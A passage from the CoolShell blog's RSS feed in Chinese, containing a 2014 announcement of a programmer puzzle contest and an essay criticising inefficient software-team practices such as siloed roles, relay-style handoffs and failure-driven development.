p>最后感谢大家为这个活动付出的时间！</p>\n<p>（全文完）</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11847.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>98</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>【活动】解迷题送礼物</title>\n\t\t<link>https://coolshell.cn/articles/11832.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11832.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 03 Aug 2014 10:52:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11832</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>首先，先跟大家道歉一下最近CoolShell大约长达一个多月没有什么更新，原因主要在于，我去看世界杯去了，这一个月的世界杯熬夜看球使我的精力不佳，导致世界杯结束...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11832.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>首先，先跟大家道歉一下最近CoolShell大约长达一个多月没有什么更新，原因主要在于，我去看世界杯去了，这一个月的世界杯熬夜看球使我的精力不佳，导致世界杯结束后的几个星期也没有缓过来，所以没有更新什么文章。好多朋友写邮件或是在微博上at我催我更新，所以有点惭愧了。</p>\n<p>精神不佳我就不写文章了。于是，世界杯过后，我每天都会抽出每天晚上和周末的一些碎片时间，我仿照一些前端过关的游戏，做了几个和程序员有关的迷题，也是要通关的，不过和前端知识没什么关系。这个游戏我放到了下面这个二级域名下。</p>\n<p style=\"text-align: center;\"><strong><a href=\"http://fun.coolshell.cn/\" target=\"_blank\">http://fun.coolshell.cn/</a></strong></p>\n<p style=\"text-align: left;\"><a href=\"http://fun.coolshell.cn/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://ww2.sinaimg.cn/mw1024/538efefbgw1eiz9cvx78fj20rm0fmdi8.jpg\" alt=\"\" width=\"500\" height=\"281\" /></a></p>\n<p style=\"text-align: left;\">有兴趣的朋友可以去玩玩。通关的同学我会送你们《Unix环境高级编程（第三版）》<span style=\"color: #423009;\">（感谢<a style=\"color: #6c6351;\" href=\"http://weibo.com/n/%E5%87%BA%E7%89%88%E5%9C%88%E9%83%AD%E5%BF%97%E6%95%8F?from=feed&amp;loc=at\">@出版圈郭志敏</a> 赞助）或一个马克杯（感谢<a style=\"color: #6c6351;\" href=\"http://weibo.com/n/linux%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%B2%BE%E9%80%89%E7%BD%91?from=feed&amp;loc=at\">@linux命令行精选网</a> 赞助）</span>），因为奖品数量有限，所以，我会送给前十个通关的同学（后面通关的我会随机抽几个）。</p>\n<p style=\"text-align: left;\"><span id=\"more-11832\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://ww4.sinaimg.cn/mw1024/538efefbgw1eiz9cwlgybj2058079t8z.jpg\" alt=\"\" />  <img decoding=\"async\" loading=\"lazy\" src=\"http://ww2.sinaimg.cn/mw1024/538efefbgw1eiz9d0qp1dj20c8085dgj.jpg\" alt=\"\" width=\"389\" height=\"259\" /></p>\n<p style=\"text-align: left;\">最后说一下这些迷题：</p>\n<p style=\"text-align: left; padding-left: 30px;\">1）目前一共有10个迷题。你通关会出现个Congratulations的页面和一个表单，希望你能提供一下你的联系方式（联系方式只要你的email/weibo/twitter/homepage这样你比较公开的方式）。</p>\n<p style=\"text-align: left; padding-left: 30px;\">2）为了突出fun，所以，这些迷题中有好些基于一些“有趣”的知识的（可能有些知识你是不知道的）。</p>\n<p style=\"text-align: left; padding-left: 30px;\">3）我使用了英文，只希望你对英文不要害怕，英文是程序员最关键的一项技能。（虽然我的英文也一般）</p>\n<p style=\"text-align: left; padding-left: 30px;\">4）你要通关的话，你可能需要很多的Google/Wikipedia，所以，你可能需要翻墙环境。我希望你能经常翻墙。</p>\n<p style=\"text-align: left; padding-left: 30px;\">5）另外，如果要通关的话，你需除了有比较好的观察能力，你还需要对Linux命令行有一些了解，有一半左右的题是需要写代码才能过的，写代码的题中有字符串匹配（正则表达式），网络请求，算法和数据结构，以及一些基础的加密解密知识。</p>\n<p style=\"text-align: left; padding-left: 30px;\">6）这些题并不难，而且谜面提示得应该是非常清楚，不过，你要做完最快也需要2-3个小时，所以，在这里还是谢谢你的时间。</p>\n<p style=\"text-align: left;\">祝大家玩得愉快！</p>\n<p style=\"text-align: center;\"><strong>————更新：2014/8/5————</strong></p>\n<p style=\"text-align: center;\"><span style=\"color: #cc0000;\"><strong>本活动已结果，题的页面还在保留中……</strong></span></p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" alt=\"二维码的生成细节和原理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_title\">二维码的生成细节和原理</a></li><li ><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" alt=\"伙伴分配器的一个极简实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_title\">伙伴分配器的一个极简实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11832.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>107</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>开发团队的效率</title>\n\t\t<link>https://coolshell.cn/articles/11656.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11656.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 09 Jun 2014 01:06:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[Project]]></category>\n\t\t<category><![CDATA[效率]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11656</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我之前写过一篇叫《加班与效率》的文章，从概念上说了一些我对“效率”的认识，但是那篇文章趋于概念化，对于一些没有经历过这样的环境的同学来说，可能会觉得太抽象了。很...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11656.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11656.html\">开发团队的效率</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-11700\" src=\"https://coolshell.cn/wp-content/uploads/2014/06/software_development.png\" alt=\"\" width=\"230\" height=\"231\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/06/software_development.png 230w, https://coolshell.cn/wp-content/uploads/2014/06/software_development-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2014/06/software_development-200x200.png 200w\" sizes=\"(max-width: 230px) 100vw, 230px\" />我之前写过一篇叫《<a title=\"加班与效率\" href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\">加班与效率</a>》的文章，从概念上说了一些我对“效率”的认识，但是那篇文章趋于概念化，对于一些没有经历过这样的环境的同学来说，可能会觉得太抽象了。很早以前就想写一篇更具体一点的，可执行的文章与《<a title=\"加班与效率\" href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\">加班与效率</a>》这篇文章相辉映，并再把我两年前在杭州QCon上的那个<a href=\"http://vdisk.weibo.com/s/gN-sQ/1351485199\" target=\"_blank\">“<strong>鼓吹工程师文化”的《建一支强大的小团队》</strong></a>（新浪微盘）的观点再加强一下。</p>\n<p><strong>但是我遇到了一些思维方式上的麻烦——我讲的总是从我的经历背景出发，没有从其它人的经历背景来讲</strong>。这就好像，我在酷壳里说了很多东西（比如：<a title=\"我们需要专职的QA吗？\" href=\"https://coolshell.cn/articles/6994.html\" target=\"_blank\">专职的QA</a>，<a title=\"从Code Review 谈如何做技术\" href=\"https://coolshell.cn/articles/11432.html\" target=\"_blank\">Code Review很重要</a>，<a title=\"编程能力与编程年龄\" href=\"https://coolshell.cn/articles/10688.html\" target=\"_blank\">编程年龄</a>，<a title=\"来信， 创业 和 移动互联网\" href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\">创业的</a>，<a title=\"《Rework》摘录及感想\" href=\"https://coolshell.cn/articles/9156.html\" target=\"_blank\">Rework</a>的……），有好些人觉得是不可能甚至太理想，其实我说的那些东西都是实实在在存在的，也是我所经历过的。于是，不同的经历，不同的环境，不同的眼界，造成了——有些人不理解我说的，而我也不能理解他们所说的。</p>\n<p>所以，过去的这段时间我一有机会就找一些人交流并观察一些身边的事情，并去试着跟从和理解那些我不能理解的东西。现在觉得差不多了，所以，写下了这篇文章。（但越是去理解对方，我就越坚持我的观点，所以这篇文章可能还是会出现鸡同鸭讲的情形，无所谓了）</p>\n<p>本文不讨论任何业务上的效率问题，只讨论软件开发或是软件工程中的效率问题。虽然产品和业务上的效率问题是根本，但是因为本文不是拉仇恨的，我也不想混在一起谈，所以请原谅我在这里先说开发团队的，以后重新开篇文章专门谈产品和业务的。</p>\n<p>我下面会罗列几个非常典型的开发方式——<strong>软件开发中的“锁”</strong>，<strong>接力棒式软件开发</strong>，<strong>保姆式软件开发</strong>，<strong>WatchDog软件开发</strong>，<strong>故障驱动式软件开发</strong>。</p>\n<p><span id=\"more-11656\"></span></p>\n<h4>软件开发中的“锁”</h4>\n<p>如果你搞过并发编程，你一定知道什么是“锁”，锁就是用来同步和互斥。我发现有好些开发部门里的各个开发团队间存在很多锁。比如：</p>\n<ul>\n<li><strong>技术能力上的锁</strong>。有一个项目需要在不同的地方做开发，这些模块用到不同的技术，比如：Java, C/C++, Python，Javascript，但是，这个团队里的每一个开发人员就只懂一门语言，于是，需要配合，需要任务排期，同步互斥锁就很多，于是，一个本来只需要2个人干3周的的工作变成了8个人干两个月。</li>\n</ul>\n<ul>\n<li><strong>负责模块上的锁</strong>。同理，不同的人负责不同的模块，于是一个项目要动好多模块，那么你就需要把这些模块的人找过来，和上面一样。每个人都有自己的时间安排，人越多，锁越多。于是，一个来来只需要2个人干2两周的事，变成了7、8个人干一个多月。</li>\n</ul>\n<p>我上面并非瞎扯，这都是事实。我们可以看到，</p>\n<ul>\n<li><strong>时间锁、进度锁</strong>。这堆有不同技能或是负责不同模块的开发人员有锁，有锁你就要等，他们有自己的安排，所以，要协作起来，你就需要排期，去同步。而参与的人越多，你的锁就越多。你协调他们的时间就更复杂。</li>\n</ul>\n<ul>\n<li><strong>沟通锁、利益锁</strong>。而且，最恐怖的事情是，他们之间的沟通成本巨大。他们会花大量的时间在讨论，一个功能是实现在你那边，还是我这边，每个人都有自己的利益和算盘。无形中增加了很多推诿、官僚和政治上的东西。</li>\n</ul>\n<p>有时候，我们会觉得分工和分模块是产生效率的前提，但是实际情况并不是这样。我们也可以看到，<strong>所谓的“分工”被彻彻底底的滥用了</strong>。他们把“分工”当成了永远只干一件事的借口。</p>\n<h5>【解决方案】</h5>\n<p><strong>一个程序员应该能够掌握多个语言，也能够负责多个模块甚至不同的职责。如果一个程序员觉得多学习一门语言，多掌握一个模块是件很困难的事，那么这个程序员本质上是不合格的</strong>。</p>\n<h4>“接力棒式”软件开发</h4>\n<p><strong>在有各种“工作锁”的软件开发团队里，一般都无法避免“接力棒式”的开发</strong>。也就是说，底层的C程序员干完了，交给上层的Java程序员，然后再交给更上层的前端程序员，最后再交给运维人员。这就是接力棒式的开发。</p>\n<p>而且，更糟糕的是，如果在引入了软件流程下，这种“接力棒的方式”真是会把你搞崩溃的。比如下游团队开发一个月，交给QA测试一个月，再交给运维分步上线一个月，然后，上游团队拿到下游开发的API后开发一个月，再交给自己的QA测试一个月，然后再交给自己的运维上线一个月，于是，半年就这样过去了。<strong>这是一个由一个一个小瀑布叠出来的一个大瀑布</strong>。</p>\n<p>哦，你会说，这个好办啊，上下游不会先商定好接口么？然后做并行开发么？是的，这是其中的一个优化方式，但是需要很好的接口设计。但是，在实际过程中，你会发现（这时我并非信口开河，我说的都是事实），</p>\n<ul>\n<li>如果这两个上下游团队在一起还好办，要是不在一起，那么，实际情况是，后面的团队会等到前面的团队提测了，才开始开发，本质上就是串行开发的。</li>\n</ul>\n<ul>\n<li>如果有更多的团队呢？比如：A团队 -&gt; B团队 -&gt; C团队 -&gt;D团队呢。接口就变得非常地关键了。而在实际情况下，因为没有好的接口设计人员，所以，在开发过程经常性地修改接口，或者是因为接口不好用也只得忍着。</li>\n</ul>\n<h5>【解决方案】</h5>\n<p>我以前写过一篇叫《<a title=\"IoC/DIP其实是一种管理思想\" href=\"https://coolshell.cn/articles/9949.html\" target=\"_blank\" rel=\"bookmark\">IoC/DIP其实是一种管理思想</a>》，对于这种接力棒的方式，应该反过来，<strong>如果业务应用团队是A团队，那B/C/D团队应该把自己的做成一个开发框架也好，服务化也好，让应用团队自己来接入</strong>。比如：前端做好一个前端开发框架，PE做好一个运维开发框架、各种工具，共享模块团队做好开发框架，让应用团队自己来接入，而不是帮他做。<strong>你会发现，在这么多团队各自P2P勾兑出来的很随意的接口的所带来的成本已经远超过一个统一标准的协议</strong>。</p>\n<h4>“保姆式”软件开发</h4>\n<p>所谓“保姆式”软件开发就是——我只管吃饭，不管做菜洗碗，就像——衣来伸手，饭来张口的“小皇帝”一样，身边有一堆太监或宫女，不然生活不能自理。这种情况经常见于开发和测试，开发和运维间的关系。很多公司，测试和运维都成了开发的保姆。</p>\n<p>我就能看到，很多开发快速写完代码后基本上都不怎么测试就交给QA去测试了，QA一测，我草，各种问题，而只会做黑盒的QA并不能马上就能确定是代码的问题还是环境的问题，所以还要花大量时间排除不是环境问题，才给开发报BUG。很多问题，可能只需要做个Code Review，做个单测就可以发现了，硬要交给QA。运维也是一样的，开发出来的软件根本就没有考虑什么运维的东西，因为有运维人员，所以我才不考虑呢。</p>\n<p><strong>这和我们带孩子的道理是一样的，对于孩子来说，如果父母帮孩子做得越多，孩子就越觉得理所应当，就越不会去做</strong>。</p>\n<p><strong>“保姆式”开发一般会进化成“保安式”开发</strong>。</p>\n<ul>\n<li>因为你的团队开发人员的能力不行，设计不行，Code Reivew/UT不做，你就只能找堆QA看着他。</li>\n<li>因为Dev/QA只管功能不管运维，所以，还得找堆运维人员看着他们。</li>\n<li>因为你的技术人员不懂业务，不懂需求，需要再找个BA，找个产品经理来指挥他。</li>\n<li>因为你的技术人员不会管理项目，所以，再搞个项目经理，找个敏捷教练、以及SQA来管着他。</li>\n</ul>\n<p><strong>就这样，你不行，我找人来看着你，看你的人不行，我再找人来看着看你的人……层层保姆，层层保安。</strong>于是，你就会发现，团队或部门里的人员越来越多，你整天都在开会，整天都在互相解释，互相争吵，会扯淡的人越来越多。那还有个屁的效率。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11702\" src=\"https://coolshell.cn/wp-content/uploads/2014/06/worker.jpg\" alt=\"\" width=\"523\" height=\"499\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/06/worker.jpg 523w, https://coolshell.cn/wp-content/uploads/2014/06/worker-300x286.jpg 300w\" sizes=\"(max-width: 523px) 100vw, 523px\" />网络上一个非常经典的图片，来源不详，程序员在挖坑，其它人站在当监工</p>\n<h5>【解决方案】</h5>\n<p style=\"padding-left: 30px;\">1）<strong>不要招只会写代码的“码农”，要招懂“需求”，注重“软件工程”和“软件质量”和“软件维护”的“工程师”</strong>。</p>\n<p style=\"padding-left: 30px;\">2）<strong>最好的管理，不是找人来管人，而是自己管自己</strong>。</p>\n<p style=\"padding-left: 30px;\">3）<strong>组织和团队中支持性工作的人越少越好，最好不要</strong>。</p>\n<p style=\"padding-left: 30px;\">4）<strong>服务化。我服务于你并不代表我要帮你干活，而是代表——我要让你干活干得更爽</strong>。</p>\n<p>我在<a href=\"http://weibo.com/1401880315/B6hC7elDb\" target=\"_blank\">微博</a>上说过下面的话，（大家可以体会一下保姆和服务的差别）</p>\n<p style=\"padding-left: 30px;\">运维要用“云服务”的思路去做。如果一个公司内的运维团队开发出一堆工具，让做应用开发团队可以很容易地申请机器、存储、网络、中间件、安全等资源，并很容易管理、监控和部署应用，并提供运维资询。而不是帮应用开发团队干活擦屁股当保姆。那么，这个公司就会不经意地做出一个云计算平台来了。</p>\n<p>&nbsp;</p>\n<h4>“WatchDog式”软件开发</h4>\n<p>什么是WatchDog？就是说——<strong>为了解决某个系统的问题，我要用一个新的系统去看着它</strong>。</p>\n<ul>\n<li>我的系统架构太复杂，出了问题不好查找。咋办？那就搞个专门的特殊的监控系统吧……</li>\n</ul>\n<ul>\n<li>我的系统配置太复杂，容易配错了。咋办？那就加一个配置校验系统吧……</li>\n</ul>\n<ul>\n<li>我的系统配置和真实的情况有时候可能会不一性。咋办？那就加一个巡检系统吧……</li>\n</ul>\n<ul>\n<li>我的系统测试环境和线上环境有时候会搞混了。咋办？那就为线上环境加一个权限控制系统吧……</li>\n</ul>\n<ul>\n<li>我的系统有单点，那就加个负载均衡器吧，负载均衡器的单点呢？那就再加个等价路由器吧……</li>\n</ul>\n<p><strong>做加法谁不会？就不想去简化一样系统吗？就不能不拆东墙补西墙么？</strong>这些了系统加的越来越多，我看你以后怎么运维。</p>\n<p>一开始没有想清楚就放到线上，然后，出了故障后，也无法重新设计和重新架构，只能以打补丁地方式往上打，这就好像一个本来就有缺陷的楼没有盖好，你要拆了重盖是不可能的，也只能不停地打补丁了。字是一只狗，越描越丑。</p>\n<h5>【解决方案】</h5>\n<p style=\"padding-left: 30px;\"><strong>1）设计想好了再做，多评估几个设计没坏处，简化，简化，简化。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）残酷无情地还债，就算是CEO来了，也无法阻止我还债的脚步。</strong></p>\n<p>&nbsp;</p>\n<h4>“故障驱动式”软件开发</h4>\n<p>WatchDog式的软件开发通常来说都是“故障驱动式”软件开发的产物。这种开发方式其实就是在表明自己智力和能力的不足。以上线为目的，上了线再说，有什么问题出了再改。</p>\n<p>上面的老大或是业务方基本上会说，没关系，我们不一开始并不需要一个完美的系统，你先上了再说，先解业务的渴，我们后面有时间再重构再完善。而有的技术人员也会用“架构和设计是逐步演化出来的”这句话来证明“故障驱动”开发是值得的。</p>\n<p>我同意逐步迭代以及架构演化论，但是，我觉得<strong>“系统迭代说”和“架构演化论”被彻彻底底地成为那些能力有限甚至不学无术的人的超级借口</strong>。</p>\n<p>你们有没有搞错啊？你们知道什么叫迭代，什么叫演化吗？你们知道，要定位一个线上的故障需要花多大的力气吗？（<a href=\"http://blog.aliyun.com/341\" target=\"_blank\">看看这篇文章</a>你就知道了）你们知道，随随便便去应付局部上你会快，但总体上来说你会慢。</p>\n<p>虽然，我看到那些系统在一个又一个的故障后得到一点又一点的改善，但是我想说，为什么一开始不认真不严谨一点呢？我从来就没有见过一个精良的系统是靠一个一个的故障和失败案例给堆出来的，就算是Windows 95/98这样史上最烂的操作系统，如果没有设计精良Windows NT的补位，Windows也早玩完了（看看IE的下场就知道了）。</p>\n<h5>【解决方案】</h5>\n<p style=\"padding-left: 30px;\"><strong>1）基础知识和理论知识非常重要</strong>。多多使用已有的成熟的方案是关键。</p>\n<p style=\"padding-left: 30px;\"><strong>2）对技术要有一颗严谨和敬畏的心。想清楚了再干，坚持高标准，Design for failure! </strong>很多事情都急不得。</p>\n<p>&nbsp;</p>\n<h4>其它开发方式</h4>\n<p>其实，这样的事情还有很多。比如：</p>\n<p><strong>1）配置管理上的问题</strong>。对于源代码的配置管理，其实并不是一件简单的事情。配置管理和软件和团队的组构的结构非常有关系。我看到过两种非常没有效率的配置管理，一种是以开项目分支的方式来做项目，同时开很多分支，分支开的时间还很长，导致merge回主干要花大量的时间去解决各种冲突，另一种是N多的团队都在一个代码库中做修改，导致出现很多复杂的问题，比如某团队的改动出现了一个bug，要么所有的团队的功能都得等这个bug被修复才能被发布，要么就是把所有的改动回滚到上一个版本，包括其它团队开发的功能。很明显，软件模块的结构，软件的架构，以及团队的组织形式都会严重影响开发效率。</p>\n<p><strong>2）人肉式的软件开发</strong>。大多数的软件团队和主管都会用“人手不够”做为自己开发效率不够的借口，而大多数故障发生的时候，都会使用更重的“人肉流程”来弥补自己能力的不足。他们从来没有想过使用“技术”，使用更“聪明”的方式来解决问题。</p>\n<p><strong>3）会议驱动式开发</strong>。人多了，团队多了，想法也就多了，沟通也就多了，于是需要不停得开会开会开会。</p>\n<p>&nbsp;</p>\n<h4>总结一下</h4>\n<p>综上所述，我有如下总结：</p>\n<p style=\"padding-left: 30px;\">1）<strong>软件工程师分工分得越细这个团队就越没效率，团队间的服务化是关键的关键</strong>。不管是从语言上还是从软件模块上的人员分工，越细越糟糕。服务化不是我要帮你做事，而是我让你做起事来更容易。</p>\n<p style=\"padding-left: 30px;\">2）<strong>你总需要在一个环节上认真，这个环节越往前就越有效率，越往后你就越没效率</strong>。要么你设计和编码认真点，不然，你就得在测试上认真点。要是你设计、编码、测试都不认真，那你就得在运维上认真，就得在处理故障上认真。你总需要在一个地方认真。另外一篇文章你可以看一下——《<a title=\"多些时间能少写些代码\" href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\">多些时间少写些代码</a>》</p>\n<p style=\"padding-left: 30px;\">3）<strong>“小而精的团队”+“条件和资源受限”是效率的根本</strong>。只有团队小，内耗才会小，只有条件或资源受限，才会逼着你去用最经济的手段做最有价值的事，才会逼着你喜欢简单和简化。</p>\n<p style=\"padding-left: 30px;\">4）<strong>技术债是不能欠的，要残酷无情地还债</strong>。很多事情，一开始不会有，那么就永远不会有。一旦一个事情烂了，后面只能跟着一起烂，烂得越多，就越没有人敢去还债。</p>\n<p style=\"padding-left: 30px;\">5）<strong>软件架构上要松耦合，团队组织上要紧耦合</strong>。</p>\n<p style=\"padding-left: 30px;\">6）<strong>工程师文化是关键，重视过程就是重视结果</strong>。只重视结果的KPI等同于“竭泽而渔”和“饮鸩止渴”。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a 